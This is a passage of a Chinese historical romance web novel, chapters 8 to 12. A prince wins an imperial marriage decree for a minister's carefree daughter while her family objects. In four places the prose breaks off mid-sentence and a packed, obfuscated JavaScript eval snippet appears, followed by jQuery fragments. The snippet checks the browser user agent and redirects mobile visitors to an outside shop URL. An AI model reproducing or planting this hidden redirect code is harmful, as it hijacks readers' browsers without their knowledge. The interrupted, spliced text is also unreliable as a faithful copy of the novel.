柳珣叹息一声:“媚儿,他舍得花钱,只是因为他钱多,不能证明他喜欢你。” 柳娆不服气道:“我要是不喜欢一个人,就算有再多钱也不会给他花的,他就是喜欢我,你等着吧,他肯定会来娶我的。” 8. 第 8 章 封肆在大殿外等候片刻,很快,内侍笑呵呵出门通传:“宁王殿下,陛下有请。” 他微微颔首,稍稍整理衣领,大步跨入宫殿之中,撩起衣袍跪地行礼:“臣拜见陛下。” “不必多礼,起来吧,看座。是不是案子有了什么进展?”皇帝虽未抬眸,语气确是十分温和。 皇帝与封肆是一母同胞的兄弟,年岁相差较大,皇帝一向宠爱封肆这个弟弟,封肆也一直十分尊敬兄长,事事都以兄长为先,从未有怠慢的时候。连先皇都曾有言,皇室之中,这样的兄弟情义实属难得。 “臣弟今日来不是为公务,是有些私事想来求陛下。” “什么私事?你起来说便是,你与朕之间还需要这般吞吞吐吐吗?” “是。”封肆起身落座,“臣弟想求娶柳尚书家的小女儿,请陛下准许。” 皇帝眉头一皱,抬眸看去:“柳尚书?你从前与他没有交集的,怎么会想起和他家说亲?” 封肆双手撑着膝盖,低着眼道:“这……说来话长,总归我现在是被柳家的那个小姑娘缠上了。” “说来话长也得说。” “我……”封肆犹豫片刻,将那日的事半遮半掩说了出来,“总归,我一开始就是想恶心恶心林御史,谁知道会变成这样。” 皇帝瞪他一眼:“你明知道他们有婚约,这不是给御史留把柄吗?他们正愁没理由弹劾你。” “这不也没弹劾吗?况且一桩小事而已,弹劾又能如何?皇兄自会为我做主。” “你少说这些恭维的话,既然她已与林家有婚约,你就不要再提,从前是因为朕才让你耽搁了婚事,朕会为你挑选一门好亲事,此事你不必再操心了,等着成亲就好。” “哥!”封肆急得站起来,“你不知道那个小姑娘有多难缠,我要是不娶她的话,她能来烦死我。” 皇帝静静看着他。 他一噎,乱七八糟解释:“我知道,我要是不想见她,她也没机会来烦我,但是她总是哭哭啼啼的,反正,总归,你要不就答应了这件事吧。” “朕看,不是人家缠着你,是你想缠着人家,这样吧,让她做你的侧妃。柳家也不算是什么高门大户,她品行名声也不够出众,当个侧妃已经是抬举她了。”皇帝故意试探。 封肆大步走到桌前半跪:“哥,她要是知道自己只是个侧妃,肯定又要闹的。我知道你是为我好,可我真的不在意自己的王妃是不是高门大户出身,你就同意了这门亲事吧。” “礼部涉及到选拔人才,十分要紧,迟早要换成我们的人,至于柳尚书,朕并不打算重用他,往后的柳家为你出不了什么力,你可要想清楚了。” “我需要他们出什么力?我有皇兄就够了啊,难道皇兄还不足以做我的后盾吗?” 皇帝朝他看来:“罢了,便随你去。传柳尚书觐见。” 封肆喜笑颜开,立即跪地叩拜:“多谢陛下。” “你有没有想过,或许柳家的人是有所图谋。” “怎么会呢?”封肆直起身解释,“那个小姑娘整日除了吃就是喝,哪里懂这些?皇兄你见过她就会明白,她真的不是那种工于心计的女人,她是真心喜欢臣弟的。” “最好是如此,你去偏殿候着吧。” 不久,柳尚书觐见。 皇帝直言:“宁王想迎娶爱卿掌上明珠为正妃,不知爱卿意下如何?” 柳尚书一怔,当即叩拜:“宁王殿下如此厚爱,臣实属惶恐,小女早已定下亲事,恐怕要辜负陛下美意了。” “只是定下了,又不是已成亲,不是什么大事,宁王是真心求娶爱卿家的明珠。” “宁王抬爱,臣感激不尽,只是已定下的事,若出尔反尔,食言而肥,实非君子所为。” “这么说来,若朕下这道赐婚的圣旨,在爱卿眼中,便也不算是君子了。” “臣不敢。” “将手头上的事放一放,回去休息一段时日,什么时候想明白了,什么时候来见朕。” 柳尚书眉头一紧,叩首恭敬道:“臣叩谢陛下,臣告退。” 柳府中,柳娆正在骚扰三哥柳珣,忽然听闻外头一阵吵闹,两人循声好奇走近,才晓得是父亲回来了。 柳珣拦住老太太身旁的贴身侍女打探:“诶?出什么事了?这么大的动静?” 侍女左右看一圈,小声道:“听闻是陛下停了老爷的职,老太太和夫人正着急呢。” “停职?”柳珣急匆匆往堂屋走。 侍女将他拦下:“三少爷,眼下火烧眉头,三少爷还是莫要去触霉头了。” 他顿了顿,叹息一声,后退两步。 “三哥。”柳娆扯扯他的袖子,冲他眨眨眼。 他疑惑望去,跟着人往前走,从夹道里钻进去,绕到堂屋后窗。 柳娆扒在窗子边,又朝他眨眨眼。 他了然,竖耳听去。 “怎会如此呢?那宁王好端端地,为何要求娶我们家媚儿?我柳家的门楣也未显赫到如此地步吧?”老太太道。 柳尚书叹气:“我也不大清楚,到现在都没想明白,陛下的意思已经非常清楚了,若是我同意这门亲事,便可以继续做这个尚书,若是不同意,恐怕就要告老还乡。” 老太太沉声道:“我们媚儿恐怕还没有这么大的魅力,要用你的前程来做赌,是不是陛下早就想停你的职,随意找了个借口?” “我怎么就没这么大的魅力啦?”柳娆不服气。 柳珣赶紧捂住她的嘴,指指窗子里面,示意她不要说话,以免惊动屋里的人。 她眨眨眼,连连点头,得了自由后,小声又道:“我怎么就没有这个魅力了?你们不知道,小四他可喜欢我了。” 柳珣笑着敲敲她的头,朝她嘘一声,竖着耳朵继续听。 “我想也是,仅是为了媚儿,还不至于此,宁王是何等身份?媚儿还攀不上他这个高枝,我也这把年龄了,不指望再上一层,只怕会影响孩子们的前程。” 窗外,柳娆又要叫起来,柳珣赶忙捂着她的嘴将她拖走,任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058193|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她张牙舞爪,一路将她拽到花园里才松手。 刚一松手,她立即叫起来:“你捂我嘴干嘛?我怎么就攀他那个高枝了?是他喜欢我,他先喜欢我的!” 柳珣好笑道:“好好好,就算是他先喜欢你,你也不能冲进去教训祖母他们吧?祖母可是不同意你和他往来的,要是知道你昨日跑去找他,肯定得说你一顿。” 柳娆瘪了瘪嘴,一脸委屈:“你们都看不起我,觉得是我高攀了他,我有那么差吗?” “没有,不是说你差,是我们家攀不上他。”柳珣连忙轻声哄。 “哟,又在折磨你三哥呢。”柳瑜当差回来,径直朝他们走来。 柳娆凶狠狠瞪他一眼,叉着腰道:“给钱。” 柳瑜看着那双毫无威慑力的圆眼,笑着道:“什么钱?小财迷,张口闭口就是要钱。” 柳娆气得冲上来,张着爪子要挠他:“你说的你要是赌输了就给我半年月钱的,你说话不算话!” 他赶忙接下,疑惑朝柳珣看去:“那个宁王真的来咱们家里提亲了?” 柳珣上前几步,低声道:“不是来家里提亲了,是去向陛下求赐婚圣旨了,爹不愿意,陛下停了爹的职,祖母他们现在正在堂中发愁呢。” “赐婚圣旨?让小妹去做妾?” “不是,是正妃。” 柳瑜一脸茫然:“不是吧?为什么啊?” 柳娆气得瞪圆了眼:“你也瞧不起我?” 柳瑜拍拍她的肩,稍作安抚,朝柳珣问:“怎么回事?前几日宁王还一副什么都没发生过的样子,怎么突然又跟陛下求旨了?” 柳珣看看柳娆,小声道:“媚儿昨日去找他了。” “什么?!”柳瑜气得险些跳起来,“你去找他了?” “你、你可没说不能去找他的,我们的赌约还算数,你还要给我月钱的啊。”柳娆梗着脖子小声道。 “钱钱钱,就想着钱。”柳瑜气得在她头上敲一下,知道从她这里问不出什么,又朝柳珣问,“你说,是什么情况?” 柳珣也小声:“我哪里知道?我去的时候,人家两个都已经抱在一块儿了。” “柳娆!”柳瑜大喊一声,“你知不知道羞耻的?” 柳娆吓得转头就要跑:“我没有不知道羞耻,他是真心喜欢我的,我也是真心喜欢他的,等皇帝下旨,我们就会成亲。” 柳瑜一把抓住她衣领:“来来来,你跟我说说,什么叫真心喜欢?你懂个什么真心喜欢?” “你凭什么说我不懂?他给我买了好多珍珠芙蓉膏,还给我买酥鹅,还给我买首饰……” “什么珍珠芙蓉膏?” 柳珣适时开口:“东城的那家最大的胭脂铺的,听说一小罐就要五两银子,宁王大手一挥给她买了五罐。” “真的?宁王在搞什么?”柳瑜捏着妹妹的脸,仔细打量一圈,“还真被我们家这小祖宗给迷住了?” “怎么,你小看我?”柳娆不服气,朝他抛了个媚眼,“我就是这么迷人。” 9. 第 9 章 柳瑜看着她那简单干净的眼眸,忍不住朗笑,胡乱揉揉她的脑袋,又问:“爹是如何说的?” 柳珣叹气:“不用想也知道,爹和林御史是多年的好友,媚儿跟林家的婚事也是早就定下了,如今林家受了冷落,爹若在此时悔弃婚约,转头将媚儿嫁给宁王,让人家如何想?” “也是。那宁王那边如何交代?爹真打算就此停职赋闲?”柳瑜看向柳娆,“都是你惹的好事。” “噢,你还没给我月钱呢,你别想抵赖。” “什么月钱?家里默认的规矩,成了家立了业,就不给发月钱了。” 柳娆瞳孔一下紧缩,不可思议地看着他:“你要耍赖?三哥,你看他,他欺负我,说好的,谁输了就要给半年的月钱的,他现在不认账了。” 柳珣看她真要哭了,连忙说和:“二哥,一会将她惹哭了,我可不哄。” “半年的月钱而已,也值得哭?”柳瑜拍拍她的肩,“好了,月钱没有,月俸二两,半年十二两,这块玉佩差不多,抵给你。” 她轻哼一声,接下玉佩,对着日光转动,翘着嘴角嘀咕:“这还差不多。” “你带着她玩吧,我去看看父亲他们如何说。” “二哥,你别跟祖母他们说昨天的事啊,祖母他们要凶媚儿的。” 柳瑜挑挑眉,转身离开:“看心情。” 柳珣看他一眼,跟柳娆小声道:“看来二哥是希望你能嫁给宁王。” 柳娆只顾着眼前的玉佩:“二哥,你说这块玉佩能抵十二两吗?” 柳珣无奈:“你去玩吧,我去看看他们如何说。” 没多久,大哥柳琮也回来,一家人全聚在堂中,柳娆寻不到人玩,也只能待在那个气氛严肃的屋里。 柳尚书道:“或许同意婚事,我便能恢复原职,可若下一回再被停职该怎么办呢?为了官位而牺牲媚儿,这个官不如不做。” 柳瑜道:“话是如此,可我们毕竟不清楚陛下究竟是如何想的,若真只是因婚事而迁怒,如此也太过可惜了些。我便不论,我天资愚钝,想来也做不了什么高官,可大哥不一样,若是家中好好经营,大哥还是有前途的。” “这也是我唯一担心的,我告老还乡无足遗憾,只担心断送了你们兄弟三人的前程。”柳尚书道。 “父亲何出此言?在儿子心中,没有什么是比家里人更要紧的,父亲尽管下定决心,不必理会旁的。”柳琮沉声道。 柳瑜环视一圈,佯装打趣:“这毕竟是小妹的婚事,不如问问小妹的意见?小妹,你是愿意嫁给宁王,还是愿意嫁去林家?” 老太太当即打断:“她懂什么?玩心还未定的,哪里懂这些?莫要拿她说笑。” “我懂,我想嫁给封肆。”柳娆不敢跟祖母大声,只小声嘟囔,被祖母瞅一眼,她立即又缩回脖子里。 老太太拍板:“此事就此说定,往后谁也不许再提。老大老二就安心做好自己手头上的差事,不要多想,至于你们父亲,操劳了半辈子,歇歇也好。刚巧舅爷要过六十岁生辰,我们一起去,家里就留给老大老二看着了。” 谁也不敢再多说,只一一应下。 雍城距京城要个六七日的工夫,又是许久未走动,一家人早早就出发,打算去多玩两日。春光无限,马车慢慢悠悠,一路鸟语花香,倒也悠闲自在。 柳娆和祖母母亲待得无聊,又跑去三哥的车上,扒着窗口,叽叽喳喳说话:“三哥,你看那边有一棵好大的树,那是什么树呀?你认识吗?” “我也不知道。”柳珣将车帘放下,“外面灰尘大,还是不要往外张望了。” 柳娆收回目光,还是消停不下来,又捧出一盒珠子:“三哥,你陪我串璎珞吧。” 这些天出门在外,柳珣都有些疲惫,可柳娆还活力满满,柳珣真不知道她一天到晚到底哪里来的这么多的精力。 “我不会,你自己串吧,我小憩一会儿,就快到了,到了你喊我。”柳珣往后一靠,闭上双眼。 “三哥。”柳娆喊两声,不见他有回应,又伸手在他眼前晃晃,哼哼着喊,“三哥,你陪我玩嘛,祖母和母亲都说累要歇息,就只有你能陪我了。” 他佯装听不见,一动不动。 柳娆竖着耳朵凑过去听听他的呼吸声,满脸委屈抱着他的手臂:“三哥,你装睡,你根本就没睡着,你不心疼我了。” 他睁眼,无奈笑道:“媚儿,三哥真的累了,你让三哥歇歇吧。” “三哥,三哥。”柳娆用毛茸茸的脑袋在他手臂上蹭,“我不要你一起串,但你别闭眼,陪着我嘛。” 他被缠得没办法,只能妥协:“好好,你串,我看着。” 柳娆这才心满意足坐正,将盒子往小桌上一放,拿着线串珠子。她串珠子也不能安静,串几颗就要问问柳珣,但也不是真的要他的意见,是要他变着法夸,夸的词没变化还不行。 正在柳珣要被折磨疯了的时候,老太太的侍女突然来话,说是快到了,叫四小姐回前面的马车,准备一会要和人打招呼。 柳娆噢一声,闷闷不乐收起串了一半的珠子,磨磨蹭蹭往前去。 祖母探出车窗看她:“这么舍不得你三哥,往后你成亲嫁人了可怎么办哟。” 这几日不提成亲的事,她还想不起来,一提,她立即想起封肆,她不想嫁去林家,头垂得更低,看着更蔫儿了。 老太太心疼地将她搂进怀里:“这又是怎么了?又不高兴了?” 她扣着指尖,小声道:“我不想嫁去林家。” “为什么呢?你都没有见过林家的公子,怎么就不想嫁给他呢?他人挺好的,等这回回去,祖母就邀请他来家里玩,你和他见过就知道了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058194|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我……”她抬眸,对上祖母的眼眸,将嗓子里的话咽回肚子里。 她不想嫁去林家,她就想嫁给封肆,她实在弄不懂祖母他们的想法,但拗不过,只能口头答应。 不久,抵达雍城,舅爷家的小辈已经在城门口候着了,她被祖母领着一个个认人,一家子人高高兴兴、热热闹闹往城中去。 舅爷家里人也不少,但大的大,小的小,和她年龄相仿的还真没有几个,好不容易有两个,也是成了家嫁了人,有他们自己的话要说,她显得格格不入,就连三哥也找到了伴,彻底没人跟她说话了。 在舅爷家里百无聊赖,一家人出门郊游还是百无聊赖,她凑在哥哥姐姐身旁,半晌没插进去话,捡了个树枝,耷拉着脑袋在路旁无聊地走来走去。 舅爷家的嫂嫂迎过来:“怎么了?不高兴?还是在这里待的无聊?” 她连连摇头:“没有没有。” 嫂嫂笑着搂住她的肩:“要不嫂嫂叫人送你先去庄子上玩吧,那边比这里有意思,还养了几头小羊,你过去可以喂喂羊,安心在那里玩,中午我们都会陆陆续续过去用午膳的。” 她立即应下:“行!我想喂羊!” 嫂嫂揉揉她的脑袋:“我去跟你三哥说一声,便叫人送你先回过去。” 庄子离这里不远,一盏茶的车程而已,这周围又大多是家里的产业,众人都未担忧,叫了几个侍女小厮,便送她往庄子走。 天不错,艳阳高照,她一个人坐在马车里,将帘子高高挂起,趴在窗边,眯着眼朝外面看去,远山如翠,两岸麦苗青青,偶有几只燕子飞过,静谧安宁。 忽而,沉重的马蹄声传来,她好奇探出脑袋去看,正对上那个石青色的身影。 她欣喜高呼:“封肆!” 封肆皱了皱眉,眼眸微转,瞧见她的瞬间眉头瞬间舒展开来,打马快步靠近:“媚儿?你怎么在这里?” 她笑眯眯看着他:“我来雍城给我舅爷祝寿,你怎么在这儿?” “下车。”封肆道。 “好!”柳娆立即要钻出车门。 侍女纤云紧忙拉住她:“小姐,老太太知道要生气的!” 她一顿。 封肆打马绕至车前,弯身看来:“怕什么?下车。” 柳娆嘴一咧,高高兴兴提着裙子钻出车门。 封肆扣住她的腰,将她往跟前一放,扬长而去,只留一句:“跟你们家主人说,媚儿被宁王带走了,晚上就送回去。” 迎风奔出一段,封肆拽了拽缰绳,放慢前行。 柳娆立即从他怀中钻出,顶着凌乱的鬓发看着他:“你还没说呢,你怎么在这儿?” 他抹平她的碎发:“在这边有事要忙。” “噢。”柳娆点点头,眼眸转动一圈,露出狡黠的光,飞速在他嘴上蜻蜓点水一下,笑滋滋看着他。 10. 第 10 章 封肆一愣。 柳娆冲着他眨眨眼,直起身,在他耳旁悄声道:“我知道,要张嘴,啊,来吧。” 他笑逐颜开,扶住她的后颈,含住她的唇瓣,浅尝辄止,却还是将她的唇吻得嫣红。他忍不住多看几眼,将人按进怀里:“好了,在外面还是不要这样得好。” 柳娆抱住他的背,下巴懒洋洋往他肩上一放,看着渐远的风景:“我们去哪里呀?” “雍城附近的别院,这几日我都在那里休息。”封肆问随从要了个帷帽给她戴上,“戴好,别钻出来,很快就到了。” 她从帷帽的缝中露出一只圆乎乎又微微上挑的眼眸,盯着他看:“为什么要戴这个?” 封肆看着她娇艳欲滴的唇,笑道:“怕你冷。” 她眨眨眼,还没想明白缘由,马突然跑起来,她紧紧抓住跟前的手臂,隔着帷帽,迎着风,啊呜啊呜乱喊,声音全顺着风围着封肆转。 封肆被吵得有些头痛,勒马后才问:“喊什么?没骑过马?” 小姑娘抱住他的腰,没骨头似地整个人倚在他身上,乐呵呵道:“骑过呀,但是没骑过这么快的马。” 他瞬间什么脾气都没有了,将她往上搂了搂,揽着她肩大步往里走:“我还有些事要忙,让人给你准备些茶水点心,你在房间稍微歇息片刻,我忙完就来寻你。” “你们怎么都这么忙?”柳娆抱住他的肩,赖在他身上不肯下来,“你就不能明天再去忙吗?我想你陪着我。” 他心都要化了,轻轻拍拍她的背:“只是交代几句事情而已,不走多远,就在隔壁屋子,很快就回来。” “噢。”柳娆慢慢从他身上下来,耷拉着脑袋,拖着步子往房间里走,一步三回头,“你快点忙完啊,我一直在房间里等着你。” 他那双冷硬坚毅的眼眸都忍不住柔和几分,看着人进了门,跟侍女叮嘱好几遍,才转身前往书房。 没一会儿,侍女们就端着各式各样的小食轻声进房中,将人团团围起来:“姑娘,这是我们这里最有有名的杏仁绿粉酥,您尝尝看喜不喜欢?” 她就着侍女伸过来的点心,轻轻咬一口,眼睛都亮了:“好好吃。” “姑娘喜欢就好,王爷交待了,姑娘想要什么尽管吩咐,一切花销全记在王爷账上。” 她眼睛又一亮,笑眯眯啃着糕点:“原来这里不是他的家呀,我还以为这里是他的地方呢,你们还有什么吃的,尽管都给我送来。” “午膳已经准备了,姑娘再等等,很快就会有人送来。”侍女笑着解释,“这里算是一个大一些的客栈,不过这两日宁王殿下大驾光临,如今这里也就只住了姑娘和宁王两位贵客。” “原来如此,那他什么时候回来呀?快吃午饭了。” “王爷吩咐,午时不能和姑娘一同吃饭,晚饭再和姑娘一同用。” 柳娆嘴角唰一下垂下:“为什么?他不是说很快就回来吗?他平常也这么忙吗?” 侍女只能回答自己知道的:“王爷手底下管着不少事呢,自然是日理万机,公务繁忙。” “那他和我成亲以后也会这样忙吗?” “这个奴婢就不知道了。” 柳娆捧着脑袋不停叹息:“唉,还是先吃饭吧。” 吃罢饭,直到午睡,她都没看到封肆的人影,她满脸不高兴,坐在床边骂骂咧咧半晌,侍女肚子里都掏不出更多骂人的新词了,才终于将她哄睡着。 整个午间,侍女们比她更着急,翘首以盼封肆回来,再不来,她们可真哄不动了。这位姑娘跟她们从前遇见的不大一样,从前那些有脾气无非是打骂,这位是哼哼唧唧半晌,说哭也没见眼泪,说没哭眼圈却红着,想哄哄不动,不哄又觉得她可怜,到最后,她们跟着骂得都有些真情实感了。 正苦恼着,那娇滴滴的沙哑慵懒的的嗓音响起来:“他回来了吗?” 侍女们有些头疼,干笑着进门:“王爷一向公务繁忙,姑娘不在时,他也不常待在别院里的。” 柳娆嘴一瘪,又要闹起来。 侍女们赶忙围上去:“姑娘,王爷说不定很快就回来了,姑娘要不先出去走走吧?这里风景也不错的。” “不要,我生气了,我要回家。” “啊?” 柳娆起身,系好衣裳便往外走,追都追不上,碰巧,她一头撞在封肆胸膛上。 “去哪儿?”封肆抓住她的手腕。 “哼!”她瞅他一眼,脚一跺,双手一抱,别着脸,梗着脖子道,“我生气了!” 封肆抬腿往她跟前的石桩上一踩,好笑看她:“谁惹你了?” 她狠狠瞪他一眼:“你说谁惹我啦?你说很快就回来的,都过去几个时辰了。” “哪儿有几个时辰?天不是还亮着吗?刚睡醒?我带你出去玩。”封肆笑着握住她的手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058195|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她是很想出去玩,但她也不是没脾气的,她挣脱,故意板着脸:“我不要,我现在很生气。” “真不去?那你继续回房间歇着?” 柳娆瞪圆眼,嘴一瘪,眼泪立即要往下掉。 封肆生怕她像上次一样哭起来,慌忙将她抱住:“好了好了,和你说笑呢,这也听不出来?” “我就是听不出来!” 她扭动挣扎,像条鱼似的,封肆紧紧将她抱住才没让她溜走。 “我这么忙,还不是为了挣银子给你花?否则哪来的钱给你买这些好吃的?” “真的?”她钻出脑袋,仰头看着他,“你挣银子真的都是给我花的?” 这点甜言蜜语封肆还是不会吝啬说出口的:“当然了,不给你花给谁花?我都跟皇上求赐婚的圣旨了。” 她抿着唇,笑得娇俏,高兴在他脸上亲几口:“谢谢你,小四。” “现在不生气了吧?”封肆摸摸她的脸,揽着她往前走,“我们现在先去泡个汤泉,放松放松,然后我带你去玩。” “汤泉?”她眼睛一亮。 封肆笑问:“从前没泡过?” 她摇摇头。 封肆垂首在她额头上落下一吻:“我在京城外也有个宅子,里面有汤泉,往后我们可以常去。” 侍女迎上来:“王爷,是要分开的还是……” “分开。” 往前走,亭子下便是一个个分开的池子,池子用屏风隔着,水汽氤氲,烟雾缭绕。 “你在这里泡,有什么需要吩咐侍女便是。”封肆将人带到亭下,转身朝那头的池子去。 柳娆朝他的背影看两眼,实在受不了汤泉的引诱,转头换了衣裳,跳进水中,砸起一团水花,欢快地游来游去,叽叽喳喳和人闲聊。 “我还是第一回泡汤泉呢,真舒服!你们就在这里做事,是不是每天都能泡?” “您说笑了,这都是贵人们才能享用的,奴婢们哪里敢用?” “你们可以偷偷泡呀。”柳娆冲她们眨眨眼。 侍女瞧她干净的眼神,忍不住笑:“奴婢们可不敢。” 她眼眸转转:“那你们现在要不要下来跟我一起泡?” “您泡吧,奴婢们在一旁伺候就好。” 又没人陪她玩了,她双手交叠在岸边,长长叹息一声,提起湿漉漉的裙子,蹑手蹑脚朝封肆的方向去。 11. 第 11 章 男人好像睡着了,双眸合着,坐在汤泉池中一动不动,蒸腾的水汽在他脸上凝结成水珠,缓缓滑落,滴答在他微微敞开的衣领上。 柳娆伸着脖子张望两眼,小心翼翼滑入池中,缓缓靠近,伸出手在他眼前晃晃,好奇自语:“睡着了?” 他没有反应。 柳娆眼睫闪闪,慢慢靠近,抱住他的腰,轻轻靠在他的胸膛上,嘿嘿两声。 他微怔,缓缓睁眼:“做什么?” “我家里人不同意我和你成亲,咱们生米煮成熟饭吧。” “什么?”他拎起她轻薄的衣领,满眼诧异,“你说什么?再说一遍?” “你们的耳朵怎么都这么不好使?”柳娆板着脸道,“我说,我家里人不同意我们成亲,我们生米煮成熟饭吧,这样他们就不得不同意了。” 封肆抬起她的下颌:“你知道什么叫生米煮成熟饭?” “你捏疼我了。”她推开他的手,昂首挺胸,理直气壮,“当然啦,今晚我就留下来,我们睡一觉,等我有了孩子,我们就可以成亲了。” 封肆额头微抽:“你这都是哪里听来的,谁跟你说我们睡一觉就会有孩子的?” 她不假思索:“那就多睡几觉。” 封肆语塞,在她脑袋上敲一下:“谁说有了孩子,就必须要成亲的?你别整天想那有的没的。” “你打疼我了!”她捂着头喊。 “好好好。”封肆胡乱给她揉揉,“你说的这些全完就是没头没尾知道吗?以后不许再说了。” “怎么没头没尾了?我还不是想和你成亲?你不感激我就算了,还打我凶我,我不嫁给你了!” 封肆将她抱进怀里,笑着拍拍她的背:“你就这么想嫁给我?” “哼。”她梗着脖子。 “好了,一会别又把脖子给扭了。”封肆将她的脑袋转过来,“看着我,为什么这么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058196|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁给我?” 她撅了撅嘴:“不是你想娶我吗?” “对对,是我想娶你,我是问你,除了我想娶你外,你为什么这么想嫁给我?” “当然是因为我喜欢你啦。” 封肆挑眉:“喜欢我还是喜欢我给你花银子?” 柳娆歪着脑袋看他:“这不都是你吗?那肯定是你喜欢我,对我好,我才喜欢你呀。” “你真是……”他无奈一笑,捏捏她的脸,“你真是头脑简单。” “什么意思?你在骂我?” “没骂你。”封肆又问,“你这么说,不怕我生气?” “为什么要生气?你应该高兴才对,你有钱给喜欢的人花,能让喜欢的人喜欢你,你不觉得很自豪,很高兴吗?” 封肆忍不住朗笑,在她额头上重重亲一口:“媚儿,你真是个小天才。” 她骄傲地挺挺胸脯,不假思索道:“那肯定啦。” 12. 第 12 章 封肆将她打横放在腿上,轻轻搂抱着她:“我不是跟你说过?成亲的事你不用操心,我会让他们同意的。” 她雀跃靠在他肩头:“那就好。” “王爷。”侍女在屏风外道,“我们家公子钓了两条野鳜鱼,特意给王爷送来。” “我知道了,我稍后便去。”封肆拍拍怀里的人,“泡久了不好,该起了。” “泡完澡得抹花油才行。” 封肆起身,皱眉问:“那又是什么?” 柳娆跟着他:“就是花油呀。” 他随手拿起毯子将她裹上,搂着她往池子后的休息室走,朝侍女高声吩咐:“弄些什么花油来!” 她立即咧开嘴,笑眯眯又道:“晚上吃鳜鱼啊?” “对啊,你不想吃吗?”封肆推推她,“去里面将衣裳换好,我们回主院那边再抹你那个什么花油。” 她高兴在他脸上亲一口,蹦蹦跳跳跑去里间,换上一套崭新的衣裙,跳到他跟前,转了个圈:“侍女给我拿的新衣裳,好看吗?” 封肆也已换好衣裳,上下打量她一眼:“好看。” 她抓住他的手,轻快往前走:“有多好看?” 封肆只是觉得好玩,不厌其烦道:“特别好看。” 她跳起来,抱住他的脖颈:“特别好看是多好看?” 封肆握住她的腰,单臂将她抱起,拎着她往前走,笑着道:“特别好看就是特别好看。” 她一脸认真:“那你说有多好看嘛。” 封肆抬眼,正好看见白墙青瓦上斜出的一支杏花,他笑道:“比杏花还好看。” 她终于满意,挣扎几下,足尖落地,抱着他的手臂,跳着往前走,随意卷在头顶的黑发跟着一跳一跳:“我们明日出去放纸鸢吧!” 封肆偏头,带着笑意的目光轻轻落在她弯起的眉眼上:“我和你家里人说好的,今晚得送你回去,我手上的事也没忙完,等回京再说。” 她笑弯的眉眼瞬间耷拉下来,头顶的黑发也不跳了,失望道:“噢。” 封肆笑着将她搂进怀里:“是真有事要忙,你们什么时候回京?若是日子差不多,我同你一起回去?” “我也不知道,还要问过祖母他们。” “那我到时候自己打听。”封肆看她脸还垮着,又哄,“不是想要布匹?等回京,我陪你去京城铺子里挑?” 她抿了抿唇,脸色恢复一些,双手抱着他的腰:“你是不是一直都会这么忙?” “这一阵忙完会好些。” “那还差不多。”她抬抬下巴,“那你给我抹花油。” 封肆还未回答,前方传来一道男声:“草民拜见王爷。” 柳娆抬眸看去,好奇打量几眼跪地行礼的男子。 封肆拍拍她的肩,示意她站直,搂着她往前走,朝人道:“不必多礼,你不是送鱼来吗?鱼呢?” 江亦清站起,笑道:“已送去后厨了,不知王爷想用何种风味?” 封肆搂搂怀里的人:“你想吃什么口味的?” 柳娆的目光一下收回,仰着脑袋思考:“我可以什么口味的都尝尝吗?” “当然可以。”封肆看向对面的男子,“让他们多做几个口味的。” 男子含笑的目光在他们之间转一圈,恭敬应下:“是,我这就去吩咐。” 封肆又拍拍怀里的人:“不是要抹什么花油?去吧,去卧房里抹。” 柳娆看着他:“你给我抹。” 他无奈道:“我得和人说话呢,让侍女们帮你抹,下回我再给你抹,好不好?” “好吧。”柳娆叹息一声,缓步往房中去。 “这就是你想娶的女子?原来你喜欢这样的。”江亦清朝她的背影看两眼,和封肆道。 封肆落座,接过茶盏,浅呷一口:“娶一个这样的女子,不会让皇兄忌惮,这不是很好吗?” 江亦清挑眉。 封肆接着往下说:“这些年,殚精竭虑,我不想在家中也要日日勾心斗角,媚儿性情单纯活泼,我也能放松一些。” 江亦清微微点头:“这样。” 封肆顿了顿,追问:“你不觉得她很可爱吗?” 江亦清忍不住笑:“你的人,我哪里敢说这些?看得出 